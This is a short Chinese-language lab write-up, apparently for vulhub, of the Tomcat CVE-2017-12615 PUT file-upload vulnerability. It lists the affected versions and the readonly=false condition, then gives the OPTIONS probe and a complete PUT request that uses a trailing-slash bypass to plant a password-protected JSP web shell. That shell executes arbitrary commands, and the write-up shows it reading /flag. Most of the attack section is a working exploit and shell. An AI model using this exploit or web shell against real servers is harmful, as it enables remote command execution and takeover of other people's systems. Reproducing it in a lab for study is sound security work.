CVE-2017-12615:任意PUT写文件漏洞 vulhub中可docker复现。
put方法上传shell.jsp木马
条件:
- Tomcat满足版本: 7版本<=7.0.81 8版本<=8.5.20 9版本<=9.0.0.M26
- Tomcat配置了readonly=false
Tomcat的配置文件conf/web.xml默认是readonly参数为true,不允许使用PUT和DELETE方法,但如果设置为false,就允许使用PUT和DELETE方法上传和删除文件。
-
测试是否支持PUT请求: OPTIONS请求请求一个404页面,测试网站返回可发起的请求方式,看到可支持PUT。 OPTIONS /404 HTTP/1.1
-
发送以下数据包即可在Web根目录写入shell.jsp: 不让直接上传/shell.jsp,上传/shell.jsp/即可绕过。
PUT /shell.jsp/ HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 5
<% if("x".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>
上传了shell.jsp在/usr/local/tomcat/webapps/ROOT/目录下。ROOT/是tomcat的启动页程序。 可以访问/shell.jsp?pwd=x&i=cat /flag执行shell命令并回显。